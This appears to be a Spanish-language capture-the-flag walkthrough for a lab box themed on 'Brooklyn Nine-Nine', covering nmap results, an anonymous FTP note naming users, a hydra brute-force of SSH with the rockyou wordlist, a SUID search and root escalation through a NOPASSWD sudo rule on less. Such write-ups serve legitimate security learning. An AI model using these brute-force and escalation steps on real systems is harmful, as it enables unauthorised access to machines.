namp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.203.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 119 May 17 2020 note_to_jake.txt
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_ 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1002/tcp filtered windows-icfw
1057/tcp filtered startron
2135/tcp filtered gris
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
tenemos un archivo
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
este archivo nos da 3 usuarios
1
2
3
| Username: Amy
Username: Jake
Username: holt
|
aplicamos fuerza bruta con hydra
1
| hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh
|
ingresamos por ssh con las credenciales que hemos conseguido
en la ruta /home/holt podemos conseguir la flag user.txt
vamos a escalar privilegios
buscaremos permisos SUID
1
| find / -perm -u=s -type f 2>/dev/null
|
podemos ver un direcctorio /usr/bin/less hacemos sudo -l
el usuario jake puede ejecutar todo con lo que quiera con (ALL) /usr/bin/less con el directorio less sin proporcionar contraseña NOPASSWD
debido a que podemos ejecutar less como sudo. podemos crear un archivo de texto y seguido de esto podemos decirle
WE ARE ROOT